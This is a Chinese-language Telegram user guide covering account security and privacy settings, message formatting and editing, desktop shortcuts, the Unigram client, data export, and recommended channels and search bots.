Two-step verification（两步验证：添加密码提示和 ❗️ 安全邮箱 ❗️）以后登录时，输入验证码后，还要输入密码。
- 安全密码：请勿使用纯数字密码，可使用开源的 KeePass 生成高强度密码。
- 电子邮箱：忘记密码，可以通过 Email 找回密码。尽量选择国外邮箱服务，例如 Gmail 或者 Outlook
💥 删除账户
Delete my account if away for 1 month/3 months/6 months/1 year（删除我的帐户若离线时间达 1 个月 / 3 个月 / 6 个月 / 1 年）自动删除：以上就是电报自带账户自毁机制（Account Self-Destruction）
主动删除：不想使用此账号，可 永久删除账户（Delete Account）
为什么要给账户设置自毁机制
- Telegram 作为一个免费的非商业软件，没有任何收入来源，为了节约服务器的存储空间，Telegram 会自动删除长时间不上线的用户。再说了，Telegram 也不需要你的私人数据。
- 如果不慎丢失了 SIM（手机卡），此前未开启 SIM 卡的 PIN 码（强烈建议开启）和 Telegram 账户的两步验证，新的「主人」就能把你的 Telegram 账号占为己有。但是假如你设置了 1 个月不上线就销户，坏人在第 32 天捡到你的手机，不过此时你的 Telegram 账号已经不存在了。
🛡️ 其它隐私设置
- 使用没有个人特征的头像（记得在个人资料里删除历史头像）、昵称和用户名，确保硅基身份不会和碳基身份产生关联。
- 不使用 Touch ID 或 Face ID 解锁你的手机，只以密码锁屏（数字 + 字母），以免被「执法人员」控制身体后强行解锁。
💬 对话界面
Telegram 有一个非常人性化的特性：记忆浏览进度，打开对话界面会自动跳转到未读消息
Unread Messages（The app restores your previous scroll position when you switch back to a chat）或者上次的未读位置。纵使重新安装 Telegram，没看完的消息，状态依旧是未读的。✏️ 消息发送前
打上句号之前，检查一遍内容是否有误，虽然 Telegram 支持无限期的（撤回）修改。
↩️ 引用消息
手机
- 左滑（Swipe left）Reply 消息。
- 长按，在弹出的界面中选择 Reply。
电脑
- 左键双击消息的空白处，例如在时间附近。
- 左键单击对话框的右上角的 Reply。
- 右击消息，在弹出的菜单中选择 Reply。
点击引用的消息，就会向上滚动到原始消息（If you tap on the quote, the app scrolls up to the original message）。
假设从
Unread Messages开始浏览动态（已发布 120 条 Post），遇到新消息引用了旧消息，例如庭说频道的第 100 条消息 https://t.me/tingtalk/100 引用第 56 条消息 https://t.me/tingtalk/56，点击引用的消息，即可定位到第 56 条消息。如何回到第 100 条消息，点击右下角的 🔽 就会回到第 100 条消息，而不是回到最新的消息（shows an arrow button to go back to the previous location. This makes navigating conversations in groups easy even if you've been away for a while）。这是一个非常动人的细节，深深地被 Telegram 折服。电脑右击 / 手机点按被引用消息（右下角有个
↶），在弹出的菜单里选择View * Reply，就能展开所有对此话题的讨论（回复）。📝 文本格式化
学会插入超文本链接，避免冗长的 URL 霸屏（简短的网址例外），是一种网络美德。
Markdown 语法
官方客户端只支持以下Markdown 语法：
- 加粗（前后加入两个星号）：
**bold** 删除线（前后加入两个波浪号）：~~strikethrough~~等宽字体（前后加入一个重音符）：monospace- 斜体（前后加入两个下划线）：
__italic__（原生 Markdown 语法是前后一个星号）
不支持使用 Markdown 语法 Create link，虽然可以通过快捷键 Ctrl + K 插入超链接，但略显麻烦。如果你是 Windows 10 用户和 Markdown 爱好者，我想到了一个优雅的写作方法。
@sudo_radio 提供信息：Telegram X for Android 也支持超链接语法。
准备工作
- 下载 Unigram（下文 有安装教程）
- 下载 Typora 或其它 Markdown 编辑器
- 添加浏览器插件 油猴，并安装这个 脚本：快速复制 Markdown 格式（
[标题](网址)）的超链接到剪贴板
写作流程
- 打开 Typora，开始写作
- 通过脚本快速插入超链接
- 写好后复制 Markdown 源代码，打开 Unigram 并粘贴
- 打上一些
#标签（Hashtags）给消息分类，方便读者检索 - 点击发送，Markdown 语法即可被渲染，包括超链接
这样写长文，一气呵成，Awesome！
得益于 Telegram 账号可以登录很多个设备，用完 Unigram 和 Telegram X for Android 后，可切换回官方客户端。
关联阅读：文案风格指南 by 庭说
Desktop（桌面电脑端）
- 在编辑区输入文本。
- 左键选择想要格式化的文本。
- 右击 >
Formatting（格式选项）。
Formatting Shortcut for Windows Bold（加粗 ） Ctrl+BItalic（斜体） Ctrl+IUnderline（下划线） Ctrl+UStrikethrough（删除线）Ctrl+Shift+XMonospace（等宽字体）Ctrl+Shift+MCreate link（超链接） Ctrl+KPlain text（纯文本） Ctrl+Shift+N重磅推荐
Ctrl+K！简单几步，让排版清清爽爽。Android（安卓）
- 在编辑区输入文本。
- 长按选择想要格式化的文本。
- 原生 Android 系统会直接弹出格式化选项；魔改安卓系统（例如 MIUI）需要轻触界面右上角的三个点（在顶栏右侧，大概在通知栏电量 🔋 的下方。非常刁钻的一个位置），才能看到文本格式化选项。
iOS（iPhone & iPad）
- 在编辑区输入文本。
- 长按选择想要格式化的文本，会弹出一些文字操作的选项。
- 轻触
BIU（或许藏在 ▶️ 后面），即可看到文本格式化选项。
如果觉得以上格式化文本的方法太麻烦，打乱了输入节奏，可在任意聊天框输入 @bold，接着使用 Markdown 编辑消息（最多输入 256 字符），最后选择
Custom markdown。#️⃣ 主题标签
任何以
#开头的词组，以标点符号或空格结尾的词组（hashtags）都可以被点击搜索，也相当于用标签给消息分组。康德说过：
#自由 不是让你想做什么就做什么，自由是教你不想做什么，就可以不做什么。消息发出后，
#自由就会变成一个可点击搜索的状态。🌅 发送原图
先选择想要发送的图片（不止于 9 张）：
- Android：点击弹出窗口右上角的三个点，
Send without compression - iOS、macOS 和 Windows：
Send as a file
请注意：
- 原图不会压缩图片，但是会暴露文件名、隐藏的 GPS 信息和拍摄信息，慎重发送。
- Telegram 会记住你的操作习惯，下次发送图片时不必再次勾选原图选项。
🎬 发送视频
支持时间戳（Timestamp）：发送本地视频或 YouTube 视频时，在
Add a caption（添加标题）里标记你最喜欢的时刻（mark your favorite moments），例如：建议直接跳到 05:06 开始欣赏，有惊喜。05:06会自动高亮显示，点击05:06，视频就会从第 5 分 6 秒播放。其中05:06必填项，提示的话可以选填。引用回复本地视频或 YouTube 视频也支持加入时间戳（Timestamps in replies and captions open videos and YouTube links to that exact moment.）。
你发现了吗？YouTube 和哔哩哔哩的评论区也是支持这种时间戳。
不支持时间戳的软件和网页，怎么办
YouTube：https://www.youtube.com/watch?v=SyM3jMFjess&t=05m06s
- 右键点击进度条
- 在弹出的菜单中选择
复制当前时间的视频网址
哔哩哔哩：https://www.bilibili.com/video/av55857100?t=14m15s
- 不支持复制当前时间的视频网址，需要手动填写
参数说明
?t=/&t=时间 timeh时 hourm分 minutes秒 second
发送视频时，可选择压缩等级。Change the resolution of a video from the editor’s quality slider.
内置视频播放器（in-app media player）：
直接在 app 内观看 YouTube 或 Vimeo 视频，不必跳转到浏览器或者相应的视频 app。操作逻辑与国外视频 App 保持一致：双击左侧快退，双击右侧快进。制作 GIF 动图
在发送视频时，点击视频打开编辑窗口，使其静音（tap the mute audio button），新的 GIF 就诞生了，还会自动保存在最近使用的 GIF 里（recent GIFs tab）。📡 消息发送时
手机上长按（电脑上右击）消息发送键：
Send without sound（静音发送）：纵使对方在睡觉，你的 urgent idea 也不会搅人春梦，简直就是为健忘的人而设计。Scheduled Message（定时发送）- 发送日程消息时，对方是不知道你使用了定时发送。
- 在 Saved Messages（我的收藏）也可以发送定时消息作为提醒（Set a reminder）。
Send when * comes online（当对方上线时发送）：这样就可以排在对方聊天列表的前面（Put you right at the top of their chat list.）。此功能需要对方在隐私设置里开启展示最后上线时间（This option only appears for users who share their Last Seen status with you, and vice versa.）
接收者可屏蔽联系人 / 群组 / 频道的消息通知（Mute Notifications）：
- 1 个小时
- 4 个小时
- 18 个小时
- 3 天
- 永久静音
🔙 消息发送后
点击消息，选择
Pin，即可在频道、群组或私聊界面中置顶多个消息（Multiple Pinned Messages）。在群组中置顶消息时，可强制通知全员（notify all members），即使成员的群组已经设置为静音。✔️ 消息状态
消息的读取状态（回执）分为两种
- One check（✔️）：发送成功。在微信，有些消息没发送出去，只对你可见，也不会有发送失败的感叹号 ❗。这是对用户赤裸裸的欺骗 。
- Two checks（✔️✔️）：消息已阅。瞥见状态栏弹出来的消息，不会产生已读标记。因此，一直显示单勾，不代表对方没看到信息。
一个偷看消息的小技巧：在对话列表，长按头像可预览消息，但消息状态不会变为已读。（Pull up a preview of messages – without making messages as read. ）
✏️ 消息更正
在 Telegram，说出去的话不会像泼出去的水收不回来，在 48 小时内（频道是无限期修改），你都可以重新编辑（Edit your messages after posting），包括文字、图片和视频（Edit sent media to re-crop, re-decorate or completely replace photos and videos.），所以：
- 文字出现 typos，不用删除，多久之前发的消息都能随时更正（Edit）。
- 图片忘记打马赛克，但因为有图片说明（配文），懒得撤回重输，可以当场抹除敏感信息，当场换图片（Replace Media）。
- 视频发错了，善后方式与图片同理。
- 图片换视频，视频换图片，Why not?
如何替换图片或视频？长按或右击消息，选择
Edit：- 通用法：点击笔头图标 ✏️（或 Replace file/photo），弹出资源窗口，选择正确的图片和视频即可替换。
- 桌面端：复制正确的图片和视频，回到 Telegram，粘贴即可替换。
并且支持直接标记别人发来的图片，修改完再发出去，无需保存在本地图库。Instantly edit and send back media you receive to add notations or decorations without saving it to your gallery.
在电脑端，把鼠标放在
edited上，会显示最后修改消息的时间。👇 长按消息
- 消息可以无限期撤回（Delete Messages）：删除信息时，勾选
Also delete for ***，聊天记录就可以双向删除，通话记录也支持这个特性（Call history can also be deleted for all sides at any time）。电报服务器更不会存储被删除的聊天记录和通话记录，因此数据将彻底永远消失。 - 选择部分消息（Select Parts of Messages）：长按 2 次消息，可选择部分文字，而不是复制全文（Copy Selected Text）。
- 长按网址或长串数字可以选择打开（Open）或者复制（Copy）。
- 转发消息时，长按联系人 / 群组 / 频道可多选。
🗣 朗读消息
Announce Messages 目前由 iOS 用户独占。你可以让 Siri 在你的耳机里大声读出你收到的信息，即使是在洗碗的时候也可以保持聊天的最新状态。
开启路径：iOS Settings > Notifications > Announce Messages。
⏳ 自动删除
- 自动删除只适用于定时器设置后发送的消息，以前的消息将保留在聊天记录中。
- 倒计时在消息发送时开始计时；而秘密聊天是阅后即焚，是从已读后开始计时。
🗣️ 语音消息
- 支持 2 倍速播放（2X playback）。
- 支持滑动进度条。（Slide forward and back on voice messages to skip ahead or repeat something you missed.）
- 记忆播放位置：超过 20 分钟的音频文件（2021 年 3 月 18 日取消此限制），Telegram 会帮你记住最后的播放位置，以便中断后再次收听（Telegram apps will remember your last position when resuming playback of audio files longer than 20 minutes.）。
此外，在 Telegram 上进行语音通话（打电话），需要在翻墙服务端/客户端开启 UDP 转发。
📲 视频通话
发起视频通话和音频通话后，如果屏幕上的 4 个 Emoji 一致，表示此连接已采用端到端加密，100% 安全。
Video Calls: All voice and video calls are protected with end-to-end encryption. To confirm your connection, compare the four emoji shown on screen. If they match with your partner’s, your call is 100% secure.
🙈 生动表情
Emoji（绘文字）
按关键字搜索表情（Search emoji by keyword）：在消息框输入关键词，就会弹出相关的 Emoji。
部分 Emoji 支持动态播放（Animated Emoji）
在任意聊天窗口发送 1 个 非礼勿视猿 🙈（See-No-Evil Monkey），再动 Ta 试试，可爱吧！查看更多被 Telegram 赋予「生命」的动态 Emoji，请参阅 Telegram Animated Emoji List。以下表情符号可以作为打赌小游戏（Emoji Game）
发送单个 触发效果 🎲 掷骰子 dice 🎯 扔飞镖 darts 🏀 投篮 basketball ⚽ 射门 football 🎳 保龄球 bowling 🎰 老虎机 jackpot / slot machine 如何在句中（mid-message）快捷添加 Emoji？
语法是:（英文半角冒号）+关键词。例如输入 I am:happy，就会弹出开心相关的 Emoji，这样就不用从 Emoji 面板挑选 Emoji 了。Stickers（表情包）
- 截至 2021 年 1 月 13 日，Telegram 上已有 20,000+ 免费的高清表情包。
- 在聊天窗口输入 @sticker + Emoji，可以检索所有与 Emoji 相关表情包，例如
@sticker 👍。我非常喜欢这个表情包建议功能（Suggest stickers by emoji），经常能找到一些很有创意高清表情包，给聊天体验增色不少。
在哪里找表情包
官方：
- 打开 Telegram 的一个对话界面，输入框选择 Sticker（旁边是选择 Emoji 和 GIF）
- 往下拉，即可在顶部看到
Search sticker sets（只支持用英文关键词搜索）
网站：
- Stickers Cloud
- tlgrm：只支持用英文关键词搜索
📤 如何导出电报上的表情包
- 选择一个 Sticker to GIF Converter，例如 @tgstogifbot 或 @Sticker2GIFBot（后一个 Bot 可下载整套表情包）
- 发送 Stickers，Bots 就会把 Telegram 上 tgs 格式的表情包转换为 gif 格式
🗜️ 在限制多多的微信 App 上，小于 1 MB 的 GIF 图片才会自动播放。如何压缩：
此时某些表情包可能大于 1 MB，需要再压一次：
为什么不用 Photoshop 压缩 GIF？因为会产生毛糙的白边。
两外，推荐一个可以批量修改图片尺寸的网站：iLoveIMG
📊 投票功能
只支持在群组和频道中发起，因为 they feel lonely in one-on-one chats.
发起人
- 支持：匿名投票（Anonymous Voting）、多选（Multiple Answers）、答题模式（ Quiz Mode）。
- 不支持：修改发出的 Poll。
投票者 / 答题者
- 不满意长按或右击投票（Poll）可以撤回投票（Retract vote）。
缺点
- Telegram 内置投票可被任意用户转发至其他对话内（如群组）进行投票，这对于公开性的投票来说是增加统计数据量的好方式，但该特性对于有私密/非公开需求的投票来说实为不利。（截止 2021 年 5 月 28 日 by TGgeek）
- 改善方法：通过 @vote 创建投票。
📖 通用技巧
🌐 互联开放
公开（Public）的频道或群组，是可以被搜索引擎抓取的（The contents of public channels can be seen on the Web without a Telegram account and are indexed by search engines.），并且不注册 Telegram 账号也看到公开频道或群组中的内容，方法就是在 Public link（公开链接）中加一个
s，例如在浏览器的地址栏输入 t.me/s/tingtalk，即可查阅庭说频道的所有内容。一个用户最多可创建 10 个公开用户名（public usernames），包括公开的频道和群组。
🔍 全局搜索
Search Filters: To quickly find a specific message or media item, search filters allow users to refine results by keyword, source, media type and time period – all at once. 这里指电报内的全局搜索。
隐藏技巧：如何按日期搜索？
打开在 Telegram 移动端首页
点击搜索框
输入日期，即可按照日期筛选历史消息
2021：2021 年01.2021/Jan 2021：2021 年 1 月01.13.2021：2021 年 1 月 13 日
📅 创建日期
在任意对话窗口（例如 Saved Messages）输入
https://t.me/ID/1，例如 https://t.me/tingtalk/1或者在浏览器的地址栏输入
https://t.me/s/ID/1，例如 https://t.me/s/tingtalk/1就会跳转到该群组或频道（未删除的）第一条消息，在其上方，可以看到创建日期（Channel created）
☁️ 多端同步
Telegram 可以在多个设备上同时使用。以下是我的设备列表：
- 2 台 Windows 电脑（开机自启）
- 1 部 Android 手机
- 1 部 iPhone 手机
- 1 个 网页端
- ……
并且具备以下优势：
- 登录过的设备，下次登录时，不必再次扫描二维码或者输入密码。
- 云草稿（Cloud drafts）：除了消息可在各个平台同步之外，连未完成编辑的消息（草稿）都可以跨设备同步。Now you can start typing on your phone, then continue on your computer – right where you left off. 但是长文本还是不要放在草稿箱了，就怕 Bug 爬上来。如果草稿丢失，在桌面端按 Ctrl + Z 试试。
- 与 WhatsApp 不同的是，手机下线 Telegram 后，其他设备的 Telegram 并不会退出。
允许传送最大 2000 MiB 的文件，简直就是绝佳的「文件传输助手」：
- 把 Saved Messages（收藏夹）当作是 GTD 中 Inbox。并且每条保存的消息都有一个 ▶️ 按钮，可以将你带到最初发布消息的位置。
- 建立多个私人频道（无数量限制），分类存放你的信息和资讯。你甚至可以在 Telegram 上传本地音乐或者录音到自己的频道，建立自己的云端音乐播放库和播客（Podcast）。Create playlists by sending multiple songs at the same time.
🖥️ 电脑版技巧
Windows 的
Ctrl等于 macOS 中Command⌘。- 快速多选：在对话界面的空白位置，按住鼠标左键不放，然后推拽多选信息，接着即可转发或者删除。
- 链接直达：按住
Ctrl再点击 URL，直接打开链接，不必弹窗确认（Open this link? CANCEL / OPEN）。 - 缩放图片：按住
Ctrl再旋转鼠标的滚轮，即可放大或缩小图片。 - 快捷回复：直接在桌面右下角的消息弹窗里回复消息。
- 快捷引用：左键双击消息的空白处，例如在时间附近，即可引用消息。
键盘快捷键
聊天 Chats
动作 Action 快捷键 Shortcut 加速浏览聊天记录
Speed up in-Chat NavigationShift+Scroll切换到下一个会话
Move to the Chat BelowCtrl+TabCtrl+PageDownAlt+↓切换到上一个会话
Move to the Chat AboveCtrl+Shift+TabCtrl+PageUpAlt+↑发送文件
Send FileCtrl+O退出 Exit
返回 Go Back
取消当前操作 Cancel Current ActionEsc消息 Messages
动作 Action 快捷键 Shortcut 引用消息
Reply to a MessageCtrl+↑Ctrl+↓
按住Ctrl不放，通过↑/↓选择需要引用的消息取消引用
Cancel ReplyCtrl+↓Esc编辑最后发送的消息
Edit Last Message Sent↑编辑媒体（例如替换图片）
Edit MediaCtrl+E放大或缩小图片/视频
Zoom Image/Video In/OutCtrl++/-（在数字小键盘）Ctrl+鼠标滚轮通过内联消息打开 Bot 配置文件
Open Bot Profile via Inline MessageCtrl+点击内联机器人的名字搜索选定的会话的聊天记录
Search Selected ChatCtrl+F分组 Folders
动作 Action 快捷键 Shortcut 切换到收藏夹（Save Messages） Ctrl+0直接切换到对应的分组
Jump directly to the folderCtrl+1Ctrl+2Ctrl+3Ctrl+4Ctrl+5Ctrl+6Ctrl+7切换到最后的分组
Jump to the last folderCtrl+8切换到归档对话（Archived Chats） Ctrl+9窗口相关 Window Related
动作 Action 快捷键 Shortcut 最小化到系统托盘
Minimize to System TrayCtrl+W退出电报
Quit TelegramCtrl+Q锁定电报
Lock TelegramCtrl+L最小化到任务栏
Minimize TelegramCtrl+M选取文字 Selected Text
动作 Action 快捷键 Shortcut 加粗
BoldCtrl+B斜体 ItalicCtrl+I插入文本链接
Create LinkCtrl+K下划线
UnderlineCtrl+U等宽字体 MonospaceCtrl+Shift+M纯文本（清除所有格式）
Null / Plain TextCtrl+Shift+N删除线 StrikethroughCtrl+Shift+X鼠标快捷键
动作 Action 鼠标快捷键 Shortcut 引用
Reply左键双击消息
Double click the message多选消息
Select Messages在消息外拖拽多选
Drag outside the messages显示消息具体发送时间和最后更正时间
Info about Messages鼠标悬停在时间戳上
Hover the timestamp投票总数
Amount of Votes in Poll鼠标悬停在百分比上
Hover percentage转发消息
Forward a message to a chat拖拽消息到会话列表
Drag the message to a chat in the list静音发送
Send Message Silently Send
定时发送
Schedule Message右击发送键
Right Click on Send Button查看后续更新的 Keyboard/Mouse shortcuts for Telegram Desktop，请访问 UseTheKeyboard 或 telegramdesktop/tdesktop Wiki。
Unigram
Unigram 是专为 Windows 10 开发的 Telegram 第三方开源客户端（基于 TDLib），并且被 官方认可。作为 UWP 应用，基本上 Mobile app 上有的功能，Unigram 都不落下。
相比官方的 Desktop 版：
- 支持 Instant View
- 支持端到端加密的私密聊天（ Secret Chats）
- 支持查看阅后即焚的照片和视频（Self-destruct）
- 在单独的窗口中打开聊天记录（Shift + 单击）
- 聊天输入框下可显示格式化文本菜单（Show formatting）
- 在输入框粘贴 Markdown 源码，发送后即可渲染，包括超链接（Ctrl + K）
- 频道主右击发送的动态，可查看统计信息（Statiatics）：此条信息的分享次数以及被分享到哪些公开频道
缺点：
- 不能最小化到系统托盘，必须常驻在任务栏
安装
Windows+S调出搜索框，输入区域- 把
国际或地区换到其它地方，例如香港特别行政区 Windows+S调出搜索框，输入Store，打开 Microsoft Store，搜索 Unigram 并安装- 把
国际或地区改回中国
使用
以 Clash .NET 为例，如何设置网络代理，让 Unigram 连上国际互联网：
- 右击桌面任务栏托盘上的 Clash .NET，选择
UWP回环>启动助手 - 在弹出的窗口确定两次（如果有）
- 勾选 Unigram，保存（Save Changes）
官方频道：Unigram News
内测频道：Unigram Mirror（无需通过 Microsoft Sotre 安装）
官方群组：Unigram Insiders
相关新闻：Unigram 现版本（v7.8.6586.0）会未加密保存媒体文件 - by TGgeek
关联阅读：
📁 对话列表
长按某个对话的左侧（头像）即可预览消息（Preview media）。
长按某个对话的右侧：
删除对话（Delete chat）：勾选
Also delete for ***，即可同时删除双方所有的聊天记录。- 不用经过对方同意。如果你的朋友遭遇不测，你可以及时清除消息来保护自己和对方。
- 反之，需要保留证据时，请及时截图或在桌面端导出聊天记录。
归档对话（Archive chat）：把不常用的群组和频道放到归档文件夹中，精简对话列表，Everything in its place。
- 在移动端的对话列表里，从顶部往下拉，即可看到「已归档对话」，长按可标记全部归档对话为已读状态。
- 当未设置静音的存档对话收到通知时，它将从归档列表中返回到聊天列表中。
更改置顶对话的顺序
- 手机：长按某个对话的右侧，即可出现顺序操纵杆。
- 电脑：左键长按对话并拖动。
📂对话分组
从
Settings>Folders进入 分组管理 设置：- 最多创建 10 个分组。
- 每个分组都能置顶无数个对话（Unlimited Pins）。
默认分组
- Unread：未读消息组，快速消灭未读红点。
- Personal：个人私聊组。
Creat New Folder（新建分组）时有以下筛选条件可选：
- Contacts（联系人）
- Non Contacts（非联系人）
- Groups（群组）
- Channels（频道）
- Bots（机器人）
- ……
操作技巧
- 在对话列表界面，长按或者右击分组名可进行 Reorder（排序）、Edit（重命名）、Delete（删除）和 Mark ad read（标记为已读）等操作。
- 目前只支持在电脑客户端中设置分组图标（Folder Icons）。
🔴 关闭通知
Settings（设置）>Notifications and Sounds（通知和声音）。Badge Counter（未读消息数量显示）：取消Include Muted Chats（包含已关闭通知的对话）
如此设置，只有未静音的对话（私聊 / 群组 / 频道）来消息了，才会收到「小红点」。
🧹 清除缓存
此举只是暂时释放存储空间，因为媒体文件都会保留在 Telegram 云端，若需要可以再次下载，例如翻看历史消息的时候。
Settings（设置）Data and Storage（数据和存储）Storage Usage（存储使用情况）Clear Telegram Cache（清理缓存）
📲 导入数据
每个人都可以通过 WhatsApp、 Line 和 KakaoTalk 等应用程序将聊天记录（包括视频和文档）迁移到 Telegram 上。以 WhatsApp 为例：
iOS
- 打开 WhatsApp 的联系方式或群组信息页面（Contact Info or Group Info）
- 点击导出聊天（Export Chat）
- 然后在共享（Share）菜单中选择 Telegram
Android
- 打开 WhatsApp 聊天
- 点击更多（More） > 导出聊天（Export Chat）
- 然后在分享菜单中选择 Telegram
借助 Telegram 的云存档功能，再也不用担心聊天记录丢失的问题。
🗃️ 导出数据
⚠️此功能需在 Telegram 电脑版 上运行。
The original meaning of the paper plane on the Telegram logo means “freedom”. For us, freedom of choice and data portability are paramount. People should be in complete control over their own data – and their own lives. Telegram 标志上的纸飞机的原意是「自由」。对我们来说，选择自由和数据便携性是最重要的。人们应该完全控制自己的数据——以及自己的生活。by Pavel Durov
聊天历史会被存储在 Telegram 云端，但是也可以导出部分（或全部）聊天记录到电脑上离线回味，而且排版还是原来的样子。
- 打开 Telegram Desktop
- 选择某个对话
- 点击对话界面右上角的设置（三个点 ...）
- 导出聊天记录（Export chat history）
你也可以导出 Telegram 的所有数据。对，是所有，不仅仅是聊天记录，还有账号信息：
- 打开 Telegram Desktop
- 依次点击
Settings>Advanced>Export Telegram data - 选择要导出的数据类型
🔞 解锁敏感内容
如何在 iOS 原生客户端查看敏感内容，例如 NSFW：
登录 Telegram Web（网页版）或者下载并登录 Telegram Desktop（客户端）。
Settings（设置）>Privacy and Security（隐私和安全）。Sensitive content（敏感内容）- 客户端：打开
Disable filtering（关闭过滤） - 网页版：打开
Show Sensitive Content
- 客户端：打开
操作完成后，重新启动 iOS 原生客户端，即可
Display sensitive media in public channels on all your Telegram devices（允许在您所有登录 Telegram 的设备上显示公共频道内的敏感内容）。📣 频道推荐
Channels 相当于公告板，是向大众传播信息的完美工具（The perfect tool for broadcasting messages to the masses），类似微信公众号，但比公众号好用得多。
通过 Post Widget，你可以将频道或公共群组的任何消息嵌入到任何地方。You can embed messages from public groups and channels anywhere.
📢 频道主
Hashtags：多用
#（标签）给消息分类，方便快速检索（点击高亮的关键词，或者在搜索框手动输入# + 关键词），然后把标签放在置顶信息里，或频道介绍里。频道分析（Channel Stats）📈：订阅人数超过 50 人（之前是 1,000 人）的频道会有详细的统计数据分析报告（Statistics）。
频道可以有无数个订阅者，但是创建者只能邀请前 200 个成员到你的频道。
重新编辑（Edit）消息，多久之前发的 Post 都可以。
支持删除消息通知，减少无关紧要的动态对订阅者的干扰。出现以下通知后，可立即长按删除：
- 更换频道置顶的消息通知
*** pinned *** - 更换频道头像的消息通知
Channel photo updated - 更改频道名字的消息通知
Channel name was changed to ***
- 更换频道置顶的消息通知
如何让你的频道或群组被更多同好知道？
- 打开 @zh_secretary_bot
- 发送频道 ID，例如 @tingtalk
- 编辑简介和标签后，即可提交收录到 @zh_secretary
- 人工审核通过后，就会在开源非盈利的 SE-索引公告板 被更多同好看到啦
相似的索引机器人还有 @PolarisseekBot。
2020 年 9 月 30 开始，电报频道原生支持评论功能（Channel Comments）
首先要 在频道的设置里绑定一个群聊（Group），频道中的每条新帖子（new post）都会自动转发到该群组并被置顶（Pin）。
频道发送消息后，有两个评论入口：
频道：点击
Leave a comment即可进入留言板（无需加入讨论组）。群组：
- 第一层评论：引用（Reply）回复对应的频道消息。
- 第二层评论：接龙引用第一层评论。
- 第 N 层评论：以此类推。
通过 @LikeComBot 给频道的消息下增加 Emoji 按钮，例如 👍、👎、😐。
🔔 订阅者
- Subscriber Privacy：关注者无法得知频道创建者（creator）是谁，也无法得知谁关注了这个频道，但是频道主知道谁关注了频道。
- 若用户在 24 小时内访问超过 200 个群组或频道的链接（点击打开就算访问，不需要加入），就会被打入冷宫 24 小时。禁闭期间，无法通过链接访问新的群组或频道（点击链接一直转圈而无法访问）。
- 频道/超级群组的关注上限是 500 个（具体数字未得到官方的求证），但是限制是一定存在的，因为限制提示语出现在官方翻译页面：抱歉，您已加入太多频道/超级群组。请先退出一些频道/超级群组后再加入。（Sorry, you have joined too many channels and supergroups. Please leave some before joining this one.）
去哪里找钟意的频道（Channel），群组（Group）和机器人（Bot）呢？
☝️ 在 Telegram 内直接搜索关键词，但中文搜索识别较差。例如，「庭说」的频道是 https://t.me/tingtalk
- 搜索英文
tingtalk（t.me/后面的字符就是 ID），可以准确识别。 - 搜索中文
庭说，可能无法识别。
✌️ 在 Google 上搜索，配合一些 Google 搜索技巧：
- 搜索结果较少：
关键词 + site:t.me，例如 电子书 site:t.me - 搜索结果较多：
关键词 + telegram 及其别称，例如：电子书 telegram OR 电报 OR tg
这也证明了 Telegram 的内容是可以被 Google 等搜索引擎抓取的。反观国内的互联网江湖，各自割据，搞得网民苦不堪言。就拿微信来说，你不能在 Google 或者百度搜到公众号文章，这也是庭说另开一个独立博客的原因。
也意味着如果你没有做好隐私保护，请不要在公开频道或群组发言，小心不怀好意的 网络蜘蛛 爬到你身上。
👌 Telegram 搜索引擎（非官方），可能包含不少 NSFW 内容。
索引机器人
- @zh_secretary_bot 👍（支持中文搜索）
- @PolarisseekBot 👍（支持中文搜索）
- @hao1234bot
- @hao6bot
网页版
- Lyzem Search
- 名刀电报搜索
- sssoou.com
- Telegram 公眾索引系統
- tlgrm：只支持用英文关键词搜索
如何通过 RSS 订阅 Telegram 频道
有些用户觉得 Telegram 用手机号码注册不安全，但是又想第一时间获得 Telegram 公开频道的更新，那么可以 借助 RSSHub 生成电报公开频道的 RSS 订阅链接，例如：
https://rsshub.app/telegram/channel/tingtalk只要把
tingtalk替换成其他公共频道的 Permanent link（永久链接）后缀即可。须知参差多态，乃是电报之福。术业有专攻，欢迎向我推荐其它领域的优质频道：
- 在 Telegram 搜索 @tingbot
- 简单说明推荐理由
- 优质频道将会更新在这篇《电报教程》里，让好内容得到更多的展现
以下是我收集的频道，不代表同意其观点，也许为了丰富文章内容。如果你发现某些频道开始「作恶」了或者失效了，请联系 @tingbot 从这个列表中删除。
2021 年，你需要多运动，多吃蔬果，偶尔听 播客，放下手机早点睡觉，少看鸡零狗碎的消息。
如何加入频道
方法一：直接点击频道的名字，例如 庭说，浏览器会跳转到 Telegram 客户端并进入该频道
方法二：复制频道的 ID，例如tingtalk，粘贴在 Telegram 客户端首页的 🔍 搜索框，在搜索结果中找到该频道✈️ 电报
官方频道
频道 详情 Telegram News 👍 电报官方新闻频道。 Durov's Channel 👍 杜罗夫（Telegram 创始人和 CEO）的频道。 Telegram Tips 👍 电报小贴士（Tips）官方频道。 Telegram APKs for Android Official channel for Telegram Android APKs. You can also download them here. Telegram for macOS Updates This channel publishes release builds for Telegram macOS. Telegram Designers 向电报提你想要的功能 @design_bot BotNews The official source for news about the Telegram Bot API. Telegram Contests Here we announce Telegram coding contests in Android Java, iOS Swift, JS, C/C++. Desktop Themes Channel 电脑客户端主题创建指引 | Custom Themes 的简单介绍 Android Themes Channel 安卓客户端主题创建指引 | 更多技术细节参阅 Custom Cloud Themes Telegram Auditions 加入 Telegram Support Force，帮扶 Telegram 做大做强，详情参阅这份 Initiative。 ISIS Watch 电报官方反恐频道：每日汇报有多少恐怖组织相关的频道被封了。 此外，Telegram 上也有 国家或地区的领导人官方频道。
用户创建
频道 详情 TGgeek 👍 TG 极客：分享 Telegram 使用技巧、重要资讯、常见问答、中文汉化、版本更新等信息。 电报小助手 用简体中文同步翻译官方 @TelegramTips 中的小技巧。 Trending Stickers Telegram 又新增了哪些表情包。 紙飛機 欢迎搭乘纸飞机，Porsche 和你聊聊 Telegram 的大小事。播客 RSS 订阅链接。 Anti Revoke Plugin Telegram 本地消息防撤回插件，安全性未知，只支持 Windows 32 位系统。GitHub 项目地址。 电报导航
- SE-索引公告板
zh_secretary
👍 Telegram 中文圈资源索引服务（包含 NSFW）。 - 北极星搜索登记板
PolarisseekIndex - 电报指南 & 精品排行榜
TgTrillion - CN 导航
CN_DH
简单好记的中文多功能公益导航频道。 - Tg Tips
Tg1230
瞭望台旗下 TG 电报引航：电报操作、频道、广播、群组的信息库。 - 電報新群推送 Telegram Group Links
linkpush
本頻道是新群推送頻道一般只收錄剛剛建立的群組或者人數少於 150 的群組。
🦠 疫情
频道 详情 2019-nCoV 疫情实时播报 👍 COVID-19 中文消息 by NFNF。 Coronavirus Info 各国官方疫情通报频道列表（A list of official channels with information on COVID-19）。 Financial Times: Coronavirus news COVID-19 英文消息 by 金融时报。 📰 新闻
